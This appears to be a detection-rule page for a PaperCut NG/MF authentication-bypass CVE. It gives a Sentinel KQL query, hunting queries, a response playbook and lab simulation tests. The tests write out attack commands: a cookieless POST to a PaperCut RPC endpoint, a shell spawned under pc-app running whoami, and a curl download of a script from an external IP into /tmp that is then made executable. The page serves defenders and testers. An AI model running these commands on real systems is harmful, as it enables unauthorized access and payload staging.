Detect PaperCut NG/MF Missing Authentication for Critical Function Exploitation (CVE-2026-81578) in Microsoft Sentinel
Detects exploitation of CVE-2026-81578, a missing-authentication-for-critical-function vulnerability (CWE-306) in PaperCut NG/MF print management software. Unauthenticated attackers reach a privileged administrative function without valid credentials, enabling configuration change, script execution, or remote code execution on the PaperCut Application Server. This CVE is listed in the CISA KEV catalog (added following the 27 Aug 2026 PaperCut security bulletin and CISA BOD 26-04), indicating confirmed in-the-wild abuse. The detection focuses on anomalous unauthenticated access to PaperCut admin/API endpoints, PaperCut server processes spawning command shells, and outbound activity from the print server, since PaperCut has historically been abused to deploy ransomware and remote-access tooling.
MITRE ATT&CK
- Tactic
- Initial Access Execution
KQL Detection Query
let papercutPorts = dynamic([9191, 9192]);
let suspiciousPaths = dynamic(["/app", "/rpc/api/rest", "/api/health/status", "/admin"]);
W3CIISLog
| where csUriStem has_any ("/app", "/rpc/api/", "/api/")
| where sSiteName has "papercut" or sPort in (papercutPorts)
| extend method = csMethod, uri = csUriStem, status = scStatus, src = cIP
| where method in ("POST", "GET")
| where status < 400
// Access to privileged function without a preceding authenticated session cookie / login
| where isempty(csCookie) or csCookie !has "JSESSIONID"
| where uri has_any (suspiciousPaths)
| summarize hits = count(), paths = make_set(uri, 20), by src, bin(TimeGenerated, 10m)
| where hits > 3
| project TimeGenerated, src, hits, pathsFlags unauthenticated GET/POST requests (no valid session cookie) that succeed against PaperCut admin/API/RPC endpoints on the IIS/embedded web tier, indicating a missing-authentication bypass.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate PaperCut health-check or monitoring probes hitting /api/health/status from an internal monitoring host
- PaperCut server-to-server or Site Server synchronization traffic that does not carry a browser session cookie
- Vulnerability scanners and authorized penetration tests probing the admin interface
- Load balancers or reverse proxies stripping/normalizing cookies before requests reach IIS
Other platforms for CVE-2026-81578
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Unauthenticated request to PaperCut RPC/API endpoint
Expected signal: IIS/web log entry: POST /rpc/api/rest/... with no JSESSIONID cookie and a 2xx/3xx response from an unexpected source IP.
- Test 2PaperCut server process spawns command shell (Windows)
Expected signal: ProcessRollup2/Sysmon event: pc-app.exe (or java.exe) as parent of cmd.exe running whoami/hostname.
- Test 3PaperCut Java process invokes LOLBin download (Linux)
Expected signal: Process event: java/papercut-parented bash invoking curl to an external IP, followed by file creation in /tmp.
References (4)
- https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
- https://nvd.nist.gov/vuln/detail/CVE-2026-81578
Response Playbook
Triage
- Confirm the source IP of the unauthenticated requests is external or otherwise not an approved PaperCut monitoring/Site Server host; geolocate and check threat-intel reputation.
- Inspect the PaperCut Application Server logs (server.log, admin.log) for admin actions, config changes, or 'Scripting' feature invocations that occurred without a corresponding authenticated admin login.
- Verify the running PaperCut NG/MF build against the fixed version in the 27 Aug 2026 PaperCut security bulletin to confirm the host is vulnerable.
- Review process telemetry on the PaperCut host for pc-app/pc-server/java spawning cmd.exe, powershell.exe, or shell processes around the time of the suspicious requests.
Containment
- Block inbound access to PaperCut ports 9191/9192 from untrusted networks at the firewall/WAF and restrict the admin interface to management subnets only.
- Isolate the PaperCut Application Server from the network if code execution or unauthorized admin actions are confirmed, and disable the User/Web Print and Scripting interfaces pending patching.
- Force-rotate PaperCut admin credentials and any service/integration credentials stored in PaperCut config.
Evidence Collection
- Preserve IIS/web logs, PaperCut server.log, admin.log, and the [app-path]/server/logs directory covering the exploitation window.
- Capture process creation events, command lines, and any dropped files under the PaperCut install and temp directories for forensic analysis.
- Snapshot the host (memory + disk) before remediation to retain volatile evidence of any in-memory implant.
Escalation Criteria
- !Escalate to incident response if the PaperCut server process is observed spawning shells, LOLBins, or making outbound C2/download connections.
- !Escalate if unauthorized admin configuration changes, new admin accounts, or Scripting feature abuse are confirmed in PaperCut logs.
- !Escalate to ransomware IR if lateral movement, credential dumping, or mass file encryption follows the initial access.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
PaperCut server.log and admin.log entries showing config/admin actions without a login - >
IIS/web access logs with cookieless successful requests to /rpc/api and /app endpoints - >
Child processes of pc-app.exe/pc-server.exe/java.exe and their command lines - >
Newly created files under the PaperCut install, [app-path]/server/custom, and temp directories
Tuning Guidance
Baseline legitimate cookieless traffic first: identify approved monitoring hosts, Site Server IPs, and health-check user-agents and exclude them. Tighten the hits>3 threshold to your environment's normal probe volume, and pin the detection to known PaperCut server hostnames/ports (9191/9192) to reduce noise. Where PaperCut sits behind a reverse proxy that strips cookies, correlate on process-spawn telemetry (elastic_eql / crowdstrike_cql) instead of the cookie heuristic to avoid systematic false positives.
Hunting Queries
Hunt for repeated successful unauthenticated requests to PaperCut privileged endpoints across the environment.
W3CIISLog | where csUriStem has "/rpc/api/rest" or csUriStem has "/app" | where isempty(csCookie) or csCookie !has "JSESSIONID" | where scStatus < 400 | summarize count() by cIP, csUriStem, bin(TimeGenerated, 1h) | sort by count_ descindex=web sourcetype IN ("ms:iis:auto","papercut:server") (uri_path="/rpc/api/*" OR uri_path="/app*") status<400 NOT cookie="*JSESSIONID*" | stats count values(uri_path) by src_ip | sort - countAtomic Red Team Tests
Simulates the auth-bypass by issuing a cookieless POST to a PaperCut RPC/API path in a lab.
Command
curl -sk -X POST 'https://papercut-lab.internal:9192/rpc/api/rest/internal/deviceservices/getStatus' -H 'Content-Type: application/json' -d '{}' -o /tmp/pc_resp.jsonCleanup
rm -f /tmp/pc_resp.jsonExpected Telemetry
IIS/web log entry: POST /rpc/api/rest/... with no JSESSIONID cookie and a 2xx/3xx response from an unexpected source IP.
Expected Detection
kql / spl / qradar_aql / sumo_logic / chronicle_yaral rules fire on the cookieless successful request to a PaperCut privileged endpoint.
Simulates post-exploitation code execution by having a stand-in PaperCut parent process launch a shell.
Command
$p = Start-Process -FilePath 'C:\Program Files\PaperCut MF\server\bin\win\pc-app.exe' -ArgumentList '-cmd' -PassThru -ErrorAction SilentlyContinue; cmd.exe /c "whoami & hostname"Cleanup
Stop-Process -Name pc-app -ErrorAction SilentlyContinueExpected Telemetry
ProcessRollup2/Sysmon event: pc-app.exe (or java.exe) as parent of cmd.exe running whoami/hostname.
Expected Detection
elastic_eql and crowdstrike_cql rules fire on the PaperCut process spawning a command interpreter.
Simulates an attacker using the PaperCut Java runtime to pull down tooling after the auth bypass.
Command
sudo -u papercut bash -c "curl -s http://198.51.100.10/tool.sh -o /tmp/tool.sh && chmod +x /tmp/tool.sh"Cleanup
rm -f /tmp/tool.shExpected Telemetry
Process event: java/papercut-parented bash invoking curl to an external IP, followed by file creation in /tmp.
Expected Detection
elastic_eql / crowdstrike_cql detect the PaperCut server process spawning a shell and outbound download utility.